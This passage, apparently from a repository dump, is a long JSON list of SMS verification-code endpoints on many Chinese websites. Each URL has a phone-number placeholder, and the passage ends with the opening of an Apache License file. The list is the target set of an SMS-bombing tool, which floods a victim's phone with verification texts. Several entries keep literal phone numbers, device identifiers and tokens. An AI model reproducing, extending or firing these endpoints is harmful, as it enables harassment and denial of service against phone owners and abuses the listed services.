\"https://m.ke.qq.com/cgi-bin/tool/apply_sms_code?is_ios=0&raw_phone=[phone]&phone=13058226398&national_code=86&from=1&bkn=1557826707&_=1596758267792\",\n    \"https://m.ke.qq.com/cgi-bin/tool/apply_sms_code?is_ios=0&raw_phone=[phone]&phone=[phone]&national_code=86&from=1&bkn=1557826707&_=1596758267792\",\n    \"https://m.lubsj.com/index.php?app=member&act=send_captcha&phone_mob=[phone]\",\n    \"https://m.mgqr.com/ajax/getcode.ashx?check=0&amp;t=1586567002298&amp;phone=[phone]\",\n    \"https://m.mgqr.com/ajax/getcode.ashx?check=0&t=1586567002298&phone=[phone]\",\n    \"https://m.mgqr.com:443/ajax/getcode.ashx?check=0&amp;t=1586567002298&amp;phone=[phone]\",\n    \"https://m.mgqr.com:443/ajax/getcode.ashx?check=0&t=1586567002298&phone=[phone]\",\n    \"https://m.rong360.com/mobile/Wxpageforapp/SendSmsVcode?mobile=[phone]&amp;callback=rong_json1565594522310&amp;v=7620\",\n    \"https://m.ule.com/user/getRegValidateCode?mobile=[phone]\",\n    \"https://m.yiwise.com/apiPlatform/verificationCode/send?phoneNumber=[phone]\",\n    \"https://m.zhaopin.com/api/capi?capiUrl=passport/getSmsCodeSecurity&amp;mobile=[phone]\",\n    \"https://mapi.wandougongzhu.cn/?method=User.sendRegCode&amp;ch=appstore&amp;devid=6850174bf9bcd0264c01eac202a8447e&amp;devname=&amp;devtype=iphone_gg&amp;dpi=750x1334&amp;img_fmt=webp&amp;lang=zh-Hans-CN&amp;loc=&amp;model=iPhone8%2C1&amp;network_type=wifi&amp;os_version=12.4&amp;phone=[phone]&amp;rtick=1566790690.50\",\n    \"https://mapi.wandougongzhu.cn/?method=User.sendRegCode&amp;ch=appstore&amp;devid=6850174bf9bcd0264c01eac202a8447e&amp;devname=&amp;devtype=iphone_gg&amp;dpi=750x1334&amp;img_fmt=webp&amp;lang=zh-Hans-CN&amp;loc=&amp;model=iPhone8,1&amp;network_type=wifi&amp;os_version=12.4&amp;phone=[phone]&amp;rtick=1566790690.50\",\n    \"https://masterhands.yladm.com/user/phone/verifycode?app=gaoshou_i&amp;brand=apple&amp;idfa=5C351103-F887-4932-BC59-58C75875EFDE&amp;model=iphone&amp;phone=[phone]&amp;refer=hometabpage&amp;sid=appstore&amp;sign=dfe50ccd14bb2c905e37b4706c5e633c&amp;tcid=5f401e59cddf4345a511010d2c268592&amp;timestamp=1\",\n    \"https://masterhands.yladm.com/user/phone/verifycode?app=gaoshou_i&brand=apple&idfa=5C351103-F887-4932-BC59-58C75875EFDE&model=iphone&phone=[phone]\",\n    \"https://mc.imways.com/wechat/member/info/sendmsg?mobile=[phone]\",\n    \"https://member.chinaacc.com/api/SmsCode.shtm?jsonpCallback=success_jsonpCallback&siteId=3&mobilePhone=[phone]\",\n    \"https://mktmain.daikuan.360.cn/activity/pcguide/cdsmsCode?callback=_360jr1603842207037&mobile=[phone]\",\n    \"https://mobile.cmbchina.com/DUserManage/UserRegisterNew/URN_Register.aspx?phoneNo=[phone]\",\n    \"https://mobile.cmbchina.com/DUserManage/UserRegisterNew/URN_Register.aspx?phoneNo=[phone]&amp;showtopbar=true&amp;DeviceType=E&amp;Version=7.1.2&amp;SystemVersion=6.0.1&amp;behavior_entryid=lgf005001\",\n    \"https://mobile.health.pingan.com/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&amp;phone=[phone]\",\n    \"https://mobile.health.pingan.com/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&phone=[phone]\",\n    \"https://mobilegt.weidai.com.cn/api/v2/verify/mobile/[phone]\",\n    \"https://mp.66law.cn/Common/GetValidateCode?time=1574424867777mobilePhone=[phone]\",\n    \"https://mp.elong.com/mobilepromotion/common/sendactivitysmscodemtools ?activityId=9880be64-a7c2-476e-9879-2fe371910f45&amp;mobile=[phone]&amp;gCode=\",\n    \"https://mp.elong.com/mobilepromotion/common/sendactivitysmscodemtools%20?activityId=9880be64-a7c2-476e-9879-2fe371910f45&amp;mobile=[phone]&amp;gCode=\",\n    \"https://mp.elong.com/mobilepromotion/common/sendactivitysmscodemtools%20?activityId=9880be64-a7c2-476e-9879-2fe371910f45&mobile=[phone]\",\n    \"https://mp.elong.com/mobilepromotion/common/sendactivitysmscodemtools?activityId=9880be64-a7c2-476e-9879-2fe371910f45&mobile=[phone]\",\n    \"https://msgo.10010.com/lsd-message/send/captcha/phone/v1?phoneNumber=&event=mobileloginusername=86-[phone]\",\n    \"https://my.800hr.com/inc/checkcode/?width=60&high=30&size=12&tm=21m25s13&type=1&channel=2&act=getphonecode&reg_code=user_phone=[phone]\",\n    \"https://mzone.yqb.com/mzone-http/sms/send_sms[phone]\",\n    \"https://n.daoxila.com/verification/appSend?mobile=[phone]\",\n    \"https://n.daoxila.com/verification/appSend?mobile=[phone]&amp;time=1564746677059\",\n    \"https://new.yohoboys.com/yohonow/api/register/registerSms?appType=2&amp;app_version=5.9.4&amp;ararea=86&amp;client_secret=1296d0321e51188e17e698e128961947&amp;client_type=iphone&amp;curVersion=5.9.4&amp;degrees=%5B%5D&amp;fromPage=iFP_Nlogin&amp;language=zh-Hans&amp;mobile=[phone]&amp;os_version=12.4&amp;scree\",\n    \"https://new.yohoboys.com/yohonow/api/register/registerSms?appType=2&amp;app_version=5.9.4&amp;area=86&amp;client_secret=1296d0321e51188e17e698e128961947&amp;client_type=iphone&amp;curVersion=5.9.4&amp;degrees=%5B%5D&amp;fromPage=iFP_Nlogin&amp;language=zh-Hans&amp;mobile=[phone]&amp;os_version=12.4&amp;scree\",\n    \"https://new.yohoboys.com/yohonow/api/register/registerSms?appType=2&amp;app_version=5.9.4&amp;area=86&amp;client_secret=1296d0321e51188e17e698e128961947&amp;client_type=iphone&amp;curVersion=5.9.4&amp;degrees=[]&amp;fromPage=iFP_Nlogin&amp;language=zh-Hans&amp;mobile=[phone]&amp;os_version=12.4&amp;scree\",\n    \"https://new.yohoboys.com/yohonow/api/register/registerSms?appType=2&app_version=5.9.4&area=86&client_secret=1296d0321e51188e17e698e128961947&client_type=iphone&curVersion=5.9.4&degrees=%5B%5D&fromPage=iFP_Nlogin&language=zh-Hans&mobile=[phone]\",\n    \"https://new.yohoboys.com/yohonow/api/register/registerSms?appType=2&app_version=5.9.4&area=86&client_secret=1296d0321e51188e17e698e128961947&client_type=iphone&curVersion=5.9.4&degrees=[]&fromPage=iFP_Nlogin&language=zh-Hans&mobile=[phone]\",\n    \"https://nhapi01.tv189.com/cpms/Internet?appid=111010310081&amp;phone=[phone]&amp;idfa=5C351103-F887-4932-BC59-58C75875EFDE&amp;NetType=WIFI&amp;channelID=01834221&amp;type=register&amp;iosid=ccb2ffcb0bc0a5b42678ac61fed3372bed1ce69a&amp;devid=000001&amp;pcode=4&amp;accessType=99&amp;clienttype=5&amp;token=417\",\n    \"https://nhapi02.tv189.com/cpms/Internet?appid=111010310225&amp;phone=[phone]&amp;cliver=1.32.1.6&amp;idfa=5C351103-F887-4932-BC59-58C75875EFDE&amp;NetType=WIFI&amp;channelID=01834721&amp;type=register&amp;iosid=ccb2ffcb0bc0a5b42678ac61fed3372bed1ce69a&amp;token=b1fa0dc43dc3ed1b9c4d9cb5f5e57529&amp;pc\",\n    \"https://oa.dingtalk.com/omp/sms/send_check_code_img&vcode=uaiIIuNYyv&ajax=1&r=0.37962152601011057step=getverifycode&u_nme=undefined&mobi=[phone]\",\n    \"https://open.shiguangkey.com/api/udb/verifycode/get/smscode?phone=86-[phone]\",\n    \"https://open.taou.com/maimai/account/v5/send_reg_login_code_v3?ts=1564817141875&access_token=&appid=4&channel=AppStore&density=2&device=iPhone8,1&imei=5C351103-F887-4932-BC59-58C75875EFDE&launch_uuid=10c094ac9b334bbda6d4f2d251d0501f&mobile=+86-[phone]\",\n    \"https://open.taou.com/maimai/account/v5/send_reg_login_code_v3?ts=1564817141875&amp;access_token=&amp;appid=4&amp;channel=AppStore&amp;density=2&amp;device=iPhone8%2C1&amp;imei=5C351103-F887-4932-BC59-58C75875EFDE&amp;launch_uuid=10c094ac9b334bbda6d4f2d251d0501f&amp;mobile=%2B86-[phone]&amp;net=wifi&amp;\",\n    \"https://open.taou.com/maimai/account/v5/send_reg_login_code_v3?ts=1564817141875&amp;access_token=&amp;appid=4&amp;channel=AppStore&amp;density=2&amp;device=iPhone8,1&amp;imei=5C351103-F887-4932-BC59-58C75875EFDE&amp;launch_uuid=10c094ac9b334bbda6d4f2d251d0501f&amp;mobile=+86-[phone]&amp;net=wifi&amp;\",\n    \"https://open.zhundao.net/api/v2/senCode?&phoneOrEmail=[phone]\",\n    \"https://p.doras.api.vcinema.cn/v5.0/user/[phone]\",\n    \"https://p.doras.api.vcinema.cn/v5.0/user/[phone]/send_code\",\n    \"https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&amp;business_domain=yyy_cctalk&amp;captchaVersion=2&amp;hpuid=785-0bCp21yf6XXmRiz-40&amp;imgcode=&amp;isapp=true&amp;mobile=%2B86-[phone]&amp;msgtype=1&amp;sendtype=mobilemsgpwd&amp;token=3cab2a2b042928518869ab9fee57ce03&amp;user_domain=cc\",\n    \"https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&amp;business_domain=yyy_cctalk&amp;captchaVersion=2&amp;hpuid=785-0bCp21yf6XXmRiz-40&amp;imgcode=&amp;isapp=true&amp;mobile=+86-[phone]&amp;msgtype=1&amp;sendtype=mobilemsgpwd&amp;token=3cab2a2b042928518869ab9fee57ce03&amp;user_domain=cc\",\n    \"https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&amp;mobile=%2B86-[phone]&amp;imgcode=&amp;token=aa315477956d459f40b6f26c9090b790&amp;sendtype=mobilemsgpwd&amp;msgtype=1&amp;captchaVersion=2&amp;user_domain=cc&amp;business_domain=&amp;hpuid=924-ECmHmDZ0xdhMnXe-43&amp;callback=reqwest_1589532775907030687\",\n    \"https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&business_domain=yyy_cctalk&captchaVersion=2&hpuid=785-0bCp21yf6XXmRiz-40&imgcode=&isapp=true&mobile=%2B86-[phone]\",\n    \"https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&business_domain=yyy_cctalk&captchaVersion=2&hpuid=785-0bCp21yf6XXmRiz-40&imgcode=&isapp=true&mobile=+86-[phone]\",\n    \"https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&business_domain=yyy_cctalk&captchaVersion=2&hpuid=785-0bCp21yf6XXmRiz-40&imgcode=&isapp=true&mobile=+86-[phone]&msgtype=1&sendtype=mobilemsgpwd&token=3cab2a2b042928518869ab9fee57ce03&user_domain=cc\",\n    \"https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&mobile=%2B86-[phone]\",\n    \"https://pass.cctalk.com/intraApi/v1/sms/send?action=SendMsg&mobile=%2B86-[phone]&imgcode=&token=aa315477956d459f40b6f26c9090b790&sendtype=mobilemsgpwd&msgtype=1&captchaVersion=2&user_domain=cc&business_domain=&hpuid=924-ECmHmDZ0xdhMnXe-43&callback=reqwest_1589532775907030687\",\n    \"https://pass.cctalk.com/v2/Handler/UCenter?action=SendMsg&amp;mobile=[phone]\",\n    \"https://pass.hujiang.com/Handler/UCenter.json?action=SendMsg&amp;business_domain=yyy_cichang&amp;captchaVersion=2&amp;hpuid=753-hG5lbwKtYM04Ldr-19&amp;imgcode=&amp;isapp=true&amp;mobile=%2B86-[phone]&amp;msgtype=1&amp;sendtype=mobilemsgpwd&amp;token=4eee9083e9d146799ef5828ac583d8b3&amp;user_domain=hj\",\n    \"https://pass.hujiang.com/Handler/UCenter.json?action=SendMsg&amp;business_domain=yyy_cichang&amp;captchaVersion=2&amp;hpuid=753-hG5lbwKtYM04Ldr-19&amp;imgcode=&amp;isapp=true&amp;mobile=+86-[phone]&amp;msgtype=1&amp;sendtype=mobilemsgpwd&amp;token=4eee9083e9d146799ef5828ac583d8b3&amp;user_domain=hj\",\n    \"https://pass.hujiang.com/Handler/UCenter.json?action=SendMsg&business_domain=yyy_cichang&captchaVersion=2&hpuid=753-hG5lbwKtYM04Ldr-19&imgcode=&isapp=true&mobile=%2B86-[phone]\",\n    \"https://pass.hujiang.com/Handler/UCenter.json?action=SendMsg&business_domain=yyy_cichang&captchaVersion=2&hpuid=753-hG5lbwKtYM04Ldr-19&imgcode=&isapp=true&mobile=+86-[phone]\",\n    \"https://pass.hujiang.com/v2/api/v1/sms/send?action=SendMsg&amp;mobile=[phone]\",\n    \"https://pass.hujiang.com/v2/api/v1/sms/send?action=SendMsg&mobile=[phone]\",\n    \"https://passport.baidu.com/v2/api/senddpass?gid=D3EF000-BEE8-4BF5-80D5-73CECBB45D8F&amp;username=[phone]&amp;countrycode=&amp;bdstoken=37e69227d824b54b2d25345b07e066bc&amp;tpl=bceplat&amp;flag_code=0&amp;apiver=v3&amp;tt=1480316742232&amp;callback=bd__cbs__o8kllk\",\n    \"https://passport.baidu.com/v2/api/senddpass?gid=D3EF000-BEE8-4BF5-80D5-73CECBB45D8F&username=[phone]&countrycode=&bdstoken=37e69227d824b54b2d25345b07e066bc&tpl=bceplat&flag_code=0&apiver=v3&tt=1480316742232&callback=bd__cbs__o8kllk\",\n    \"https://passport.beva.com/passport/v1/sdk/sendvcode?callback=jQuery111009421744498287961_1580993309090&amp;nonce=1569211859&amp;devcode=1E0D9617438F4A0DBED0AEB20FF19A50&amp;mobile=[phone]&amp;scene=mobilelogin&amp;sign=cba0ddbe3e68126d5d24d2d6342754d6&amp;platform=6&amp;_=1580993309095\",\n    \"https://passport.bignox.com/sso/o2/sms?method=send_mobile_login_sms&amp;mobile=[phone]&amp;operation=login&amp;request_token=RT-946987-zwaBUfZnSTD2qfrc04fvX9J2Pd7AyN-bignox.com\",\n    \"https://passport.bignox.com/sso/o2/sms?method=send_mobile_login_sms&mobile=[phone]\",\n    \"https://passport.ceair.com/cesso/mobile!geetCheck.shtml?_0.3520412800489632&amp;mobileNo=[phone]\",\n    \"https://passport.ceair.com/cesso/mobile!geetCheck.shtml?_0.3520412800489632&mobileNo=[phone]\",\n    \"https://passport.chinagoldcoin.net/user/checkAuthCode?mobile=[phone]\",\n    \"https://passport.deepoon.com/api/user/getVerifyCode?accesstoken=5381cfb341266380dd9cd812d068d031&ampamp;timestamp=1548161770&client=3dboboAndroid&version=6.6.4.tencent&type=1&mobile=[phone]\",\n    \"https://passport.deepoon.com/api/user/getVerifyCode?accesstoken=5381cfb341266380dd9cd812d068d031&timestamp=1548161770&client=3dboboAndroid&version=6.6.4.tencent&type=1&mobile=[phone]\",\n    \"https://passport.eqxiu.com/eqs/sms/token?phone=[phone]\",\n    \"https://passport.eqxiu.com/eqs/sms/token?phone=[phone]&amp;type=quickLogin&amp;checkPhone=1&amp;channel=21&amp;version=4.4.1\",\n    \"https://passport.eqxiu.com/eqs/sms/token?phone=[phone]&type=quickLogin&checkPhone=1&channel=21&version=4.4.1\",\n    \"https://passport.fanhuan.com/login/asklogincode?callback=jQuery183041957833420943325_1584502778631&amp;mobile=[phone]&amp;_=1584502793693\",\n    \"https://passport.fanhuan.com/login/asklogincode?callback=jQuery183041957833420943325_1584502778631&mobile=[phone]\",\n    \"https://passport.fanhuan.com/login/asklogincode?callback=jQuery18307125578716707999_1546707858677&_=1546707872507&mobile=[phone]\",\n    \"https://passport.fanhuan.com/login/asklogincode?callback=jQuery18307125578716707999_1546707858677&amp;_=1546707872507&amp;mobile=[phone]\",\n    \"https://passport.fanhuan.com/login/asklogincode?callback=jQuery18307700360712450502_1523359569433&amp;mobile=[phone]\",\n    \"https://passport.fanhuan.com/login/asklogincode?callback=jQuery18307700360712450502_1523359569433&amp;mobile=[phone]&amp;_=1523359575414\",\n    \"https://passport.fanhuan.com/login/asklogincode?callback=jQuery18307700360712450502_1523359569433&mobile=[phone]\",\n    \"https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery211010311191363159777_1563973948739&amp;mobile=[phone]&amp;countrycode=86&amp;mobilestep=1&amp;_=1563973948741\",\n    \"https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery211010311191363159777_1563973948739&mobile=[phone]\",\n    \"https://passport.iqiyi.com/apis/user/check_account.action?account=[phone]\",\n    \"https://passport.iqiyi.com/apis/user/check_account.action?account=[phone]&amp;agenttype=20&amp;app_version=10.7.5&amp;area_code=86&amp;device_id=5C351103-F887-4932-BC59-58C75875EFDE&amp;device_name=liang%E7%9A%84%20iPhone&amp;device_type=iPhone8,1&amp;dfp=876bc199dfb98e452da6f0f683179849687da\",\n    \"https://passport.iqiyi.com/apis/user/check_account.action?account=[phone]&amp;agenttype=20&amp;app_version=10.7.5&amp;area_code=86&amp;device_id=5C351103-F887-4932-BC59-58C75875EFDE&amp;device_name=liang的 iPhone&amp;device_type=iPhone8,1&amp;dfp=876bc199dfb98e452da6f0f683179849687da\",\n    \"https://passport.tianya.cn/ssl/sendSMSCode.do?countryCode=0086&amp;mobile=[phone]&amp;signature=ec57ab48b2c35a1f71e21989bccbcee9&amp;uuid=385e205a-505b-49f1-a28d-abacf0c65012\",\n    \"https://passport.tianya.cn/ssl/sendSMSCode.do?countryCode=0086&mobile=[phone]\",\n    \"https://passport.xueweigui.com/mobile/sendCode?mobile=[phone]\",\n    \"https://passport.xueweigui.com/mobile/sendCode?mobile=[phone]&amp;op=10&amp;k=d12c14cc39c8a48be8c181e401e4b962\",\n    \"https://passport.ziroom.com/verify/code/v2?phone=[phone]\",\n    \"https://passport.ziroom.com/verify/code/v2?phone=[phone]&amp;type=1\",\n    \"https://prod.huohuaschool.com/api-website/user/sms?phone=[phone]&amp;type=6\",\n    \"https://ptlogin.4399.com/ptlogin/sendPhoneLoginCode.do?phone=[phone]\",\n    \"https://ptlogin.4399.com:443/ptlogin/sendPhoneLoginCode.do?phone=[phone]\",\n    \"https://put.zoosnet.net/lr/sendnote160711.aspx?tel=[phone]\",\n    \"https://put.zoosnet.net/lr/sendnote160711.aspx?tel=[phone]&amp;ccode=&amp;id=PUT60101350&amp;sid=72a49eb9c9b94b2692a44daa50e2011c&amp;cid=72a49eb9c9b94b2692a44daa50e2011c&amp;lng=cn&amp;p=http%3A//www.lxcpa.net/&amp;e=&amp;un=&amp;ud=&amp;on=&amp;d=1589617104719\",\n    \"https://qxin.info/oldfile/zha.php?NUMBER=[phone]&amp;c=1&amp;ok=\",\n    \"https://register.7moor.com/Action?callback=jQuery17202579936653179218_1584495041683&action=register.rl7mWebSiteYZMWebCallTryMobileCode&data=%7B%22mobile%22%3A%22[phone]\",\n    \"https://register.7moor.com/Action?callback=jQuery17202579936653179218_1584495041683&amp;action=register.rl7mWebSiteYZMWebCallTryMobileCode&amp;data=%7B%22mobile%22%3A%22[phone]%22%7D&amp;_=1584495050906\",\n    \"https://register.7moor.com/Action?callback=jQuery17202698357481160306_1589614815141&action=register.rl7mWebSiteYZMWebCallTryMobileCode&data=%7B%22mobile%22%3A%22[phone]\",\n    \"https://register.7moor.com/Action?callback=jQuery17202698357481160306_1589614815141&amp;action=register.rl7mWebSiteYZMWebCallTryMobileCode&amp;data=%7B%22mobile%22%3A%22[phone]%22%7D&amp;_=1589614821972\",\n    \"https://register.7moor.com/Action?callback=jQuery17208585139394580638_1584431746146&action=register.rl7mWebSiteYZMWebCallTryMobileCode&data=%7B%22mobile%22%3A%22[phone]\",\n    \"https://register.7moor.com/Action?callback=jQuery17208585139394580638_1584431746146&amp;action=register.rl7mWebSiteYZMWebCallTryMobileCode&amp;data=%7B%22mobile%22%3A%22[phone]%22%7D&amp;_=1584431770018\",\n    \"https://s-web.jtljia.com/mvc/message/vcode/user_welcome/[phone]\",\n    \"https://services.qiye.163.com/service/official/sendCode?jsonpcallback=jQuery190039810459070645865_1584688891341&amp;mobile=[phone]&amp;_=1584688891342\",\n    \"https://services.qiye.163.com/service/official/sendCode?jsonpcallback=jQuery190039810459070645865_1584688891341&mobile=[phone]\",\n    \"https://services.qiye.163.com/service/official/sendCode?jsonpcallback=jQuery190039810459070645865_1584688891341&mobile=[phone]&_=1584688891342\",\n    \"https://soufunapp.3g.fang.com/http/sfservice.jsp?messagename=appSendMobileCode&amp;mobilephone=[phone]&amp;operatetype=0&amp;sendvoice=0&amp;wirelesscode=2C56469F49A8526BC922ECFA14C22AC7\",\n    \"https://sso-c.souche.com/loginApi/getCaptchaUrlByPhone.json?app=tangeche&amp;phone=[phone]\",\n    \"https://sso-c.souche.com/loginApi/getCaptchaUrlByPhone.json?app=tangeche&phone=[phone]\",\n    \"https://sso.360che.com/?c=code&_0.6284588856010609&tel=code=[phone]\",\n    \"https://sso.agora.io/api/verify/sms?phone=%2B86+131+5822+6398&amp;lang=cn&amp;country=CN&amp;captcha=[phone]\",\n    \"https://sso.agora.io/api/verify/sms?phone=%2B86+131+5822+6398&lang=cn&country=CN&captcha=[phone]\",\n    \"https://sso.jrj.com.cn/sso/ajaxSendVoice?mobile=[phone]\",\n    \"https://sso.scrcu.com/ebuisso/SendSMSVerificationCode?userId=0000&amp;authType=03&amp;mobile=[phone]&amp;_=1480945303044\",\n    \"https://u.house.ifeng.com/getVerifyCode?_=0.38838852170651417&_t=1565612980&verifyCode=[phone]\",\n    \"https://uac.10010.com/oauth2/OpSms?callback=jsonp1490030472329&amp;req_time=1490030480322&amp;user_id=[phone]\",\n    \"https://uac.10010.com/oauth2/OpSms?callback=jsonp1490030472329&req_time=1490030480322&user_id=[phone]\",\n    \"https://uac.10010.com/oauth2/OpSms?callback=jsonp1544753247279&amp;req_time=1544753262715&amp;user_id=[phone]&amp;app_code=ECS-YH-WAP\",\n    \"https://uac.10010.com/portal/Service/SendMSG?callback=jQuery17205960549095114636_1596719990361&amp;req_time=1596720031540&amp;mobile=[phone]&amp;unicom_number=0&amp;_=1596720031543\",\n    \"https://uac.10010.com/portal/Service/SendMSG?callback=jQuery17205960549095114636_1596719990361&req_time=1596720031540&mobile=[phone]&unicom_number=0&_=1596720031543\",\n    \"https://uac.10010.com/portal/Service/SendMSG?callback=jQuery172076565523879526_1506486642542&amp;req_time=1506486656403&amp;mobile=[phone]\",\n    \"https://uac.10010.com/portal/Service/SendMSG?callback=jQuery172076565523879526_1506486642542&amp;req_time=1506486656403&amp;mobile=[phone]&amp;_=1506486656411\",\n    \"https://uac.10010.com/portal/Service/SendMSG?callback=jQuery172076565523879526_1506486642542&req_time=1506486656403&mobile=[phone]\",\n    \"https://uas.xingshulin.com/passport/default/captcha/LOGIN/sms/[phone]?\",\n    \"https://uc.maodou.com/server/account/sendLoginCode?phone=[phone]\",\n    \"https://ucenter.1haitao.com/vc/mobile/SMSCode.htm?codeType=login&amp;mobile=[phone]&amp;sign=ea7f6860aa40d220409b892397890184\",\n    \"https://user.chinahr.com/cppt/open/msg/send/smsCode?mobile=[phone]&isVisitor=isVisitor\",\n    \"https://user.daojia.com/mobile/getcode?mobile=[phone]\",\n    \"https://user.daojia.com/mobile/getcode?mobile=[phone]&amp;newVersion=1&amp;bu=103\",\n    \"https://user.daojia.com/mobile/getcode?mobile=[phone]&amp;newVersion=1&amp;bu=112\",\n    \"https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=103\",\n    \"https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112\",\n    \"https://user.hundun.cn/get_identify_code?clientType=pcweb&amp;versionName=&amp;imei=&amp;net=&amp;phone=[phone]&amp;source=verify\",\n    \"https://user.hundun.cn/get_identify_code?clientType=pcweb&versionName=&imei=&net=&phone=[phone]\",\n    \"https://user.meilimei.com/taomi/user/sendSmsCaptcha?mobile=[phone]\",\n    \"https://user.qunar.com/webApi/logincode.jsp?mobile=[phone]&amp;vcode=&amp;origin=wechat$$&amp;action=register&amp;type=implicit\",\n    \"https://user.zhaobiao.cn/ssologin.do?method=sendLoginCodeAjax&amp;mobile=[phone]&amp;hasSend=0\",\n    \"https://user.zhaobiao.cn/ssologin.do?method=sendLoginCodeAjax&mobile=[phone]\",\n    \"https://user.zixia.com/class/CAP/codeshow.php?sid=2090&quhao=86appname=cellphonereg&action=sendcode&yzidcode=[phone]\",\n    \"https://v4.passport.sohu.com/i/smcode/mobile/sblmobile?mobile=[phone]&amp;way=1&amp;appid=116005&amp;callback=passport403_cb1596534389025&amp;_=1596534591810\",\n    \"https://v4.passport.sohu.com/i/smcode/mobile/sblmobile?mobile=[phone]&way=1&appid=116005&callback=passport403_cb1596534389025&_=1596534591810\",\n    \"https://wap.fruitday.com//v3/passport/send_vercode?mobile=[phone]\",\n    \"https://wapi.jfh6688.cn/sendRegisterCode?type=1&amp;login=[phone]\",\n    \"https://wapi.jfh6688.cn/sendRegisterCode?type=1&login=[phone]\",\n    \"https://webapi.account.mihayo.com/Api/create_mobile_captcha&gameId=[phone]\",\n    \"https://webapi.account.mihoyo.com/Api/create_mobile_captcha?action_ticket=&action_type=regist&mobile=[phone]\",\n    \"https://webapi.account.mihoyo.com/Api/create_mobile_captcha?action_ticket=&amp;action_type=regist&amp;mobile=[phone]\",\n    \"https://www.114yygh.com/web/common/verify-code/get?_time=1592546859053&amp;mobile=[phone]&amp;smsKey=LOGIN\",\n    \"https://www.4008123123.com/phhs_ios/isNotExistUser.action?r=0.4572958659946349?phone=[phone]\",\n    \"https://www.4008123123.com/phhs_ios/isNotExistUser.action?r=0.9460999953115119?phone=[phone]\",\n    \"https://www.baixing.com/oz/verify/reg?mobile=[phone]&amp;businessType=register_captcha_code\",\n    \"https://www.baixing.com/oz/verify/reg?mobile=[phone]&businessType=register_captcha_code\",\n    \"https://www.birdnet.cn/source/plugin/login_mobile/index.php?version=4&module=[phone]\",\n    \"https://www.d7w.net/index.php?g=Member&amp;m=Api&amp;a=getmobilecode_binding&amp;j=json&amp;mobile=[phone]\",\n    \"https://www.diantoushi.com/user/v3/captcha?mobile=[phone]\",\n    \"https://www.gac-toyota.com.cn/sublayouts/Member%20Center/VerifyCode.aspx?random=0.6042665278484218&ws_Method=getDynamicCodeTEL_NO=[phone]\",\n    \"https://www.guiji.ai/market/sms?mobile=[phone]\",\n    \"https://www.guiji.ai/site/sms?type=2&amp;mobile=[phone]\",\n    \"https://www.guiji.ai/site/sms?type=2&mobile=[phone]\",\n    \"https://www.hneao.cn/gkcjzm/Sat/SendSmsCode?codetype=ZC&sjhm=17623183206&smscode=[phone]\",\n    \"https://www.jdpay.com/login/register/sendActiveCode.htm?tel=[phone]\",\n    \"https://www.midea.cn/next/user_assist/getverifycode?mobile=[phone]\",\n    \"https://www.moretickets.com/openapi/pub/photo_codes/v1/photo_code?bizCode=MTL&verifyCodeUseType=USER_LOGIN&cellphone=[phone]\",\n    \"https://www.qinglianyun.com/Home/User/sendCode?telephone=[phone]\",\n    \"https://www.shencut.com/api/v1.0/code?operate_type=register&amp;mobile=[phone]\",\n    \"https://www.shencut.com/api/v1.0/code?operate_type=register&mobile=[phone]\",\n    \"https://www.sogou.com/websearch/phoneAddress.jsp?phoneNumber=[phone]\",\n    \"https://www.sww.com.cn/login/captcha?0.8916150596759647&sms_captcha=phone_num=[phone]\",\n    \"https://www.tongquwangluo.com/api/v2/register/sendCode?mobile=[phone]\",\n    \"https://www.tongquwangluo.com/api/v2/register/sendCode?mobile=[phone]&amp;token=d19f72dbe0834107ae2007fc43d8ab79&amp;secret=aKM2o9pwNeUkhmxx5z7RuQ%3D%3D\",\n    \"https://www.tongquwangluo.com/api/v2/register/sendCode?mobile=[phone]&amp;token=d19f72dbe0834107ae2007fc43d8ab79&amp;secret=aKM2o9pwNeUkhmxx5z7RuQ==\",\n    \"https://www.wanmeiip.com/source/class/captcha/captcha.php?0.41730894602711244validate=[phone]\",\n    \"https://www.xd.com/users/sendRegisterCode?callback=jQuery110201470901275837977_1591599902822&amp;mobile=[phone]&amp;area_code=86&amp;_=1591599902823\",\n    \"https://www.xhsd.cn/front/CheckLogin.jsp?cmd=telcheckr&amp;Mobile=[phone]\",\n    \"https://www.xiaoying.com/user/apiCheckRegister?callback=jQuery19105981196630189294_1488300711819&amp;mobile=[phone]\",\n    \"https://www.xiaoying.com/user/apiCheckRegister?callback=jQuery19105981196630189294_1488300711819&mobile=[phone]\",\n    \"https://www.xintongdai.com/customer/login/register/acquirePhoneAgreeItem?phone=[phone]\",\n    \"https://www.xxwolo.com/ccsrv/apph5/sendShortMsg?phone=[phone]\",\n    \"https://www.zhufuc.com/admin/api/center/code/verifycode?ran=0.25068726233475025&type=5&verifycode=[phone]\",\n    \"https://www.znds.com/plugin.php?id=tshuz_smslogin:mobile&amp;mod=send&amp;phone=[phone]&amp;type=1&amp;hash=e5038cde\",\n    \"https://www.zx123.cn/member/register.php?action=getcode&ajax=1&mobile=[phone]\",\n    \"https://www.zx123.cn/member/register.php?action=getcode&amp;ajax=1&amp;mobile=[phone]\"\n]\n"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making 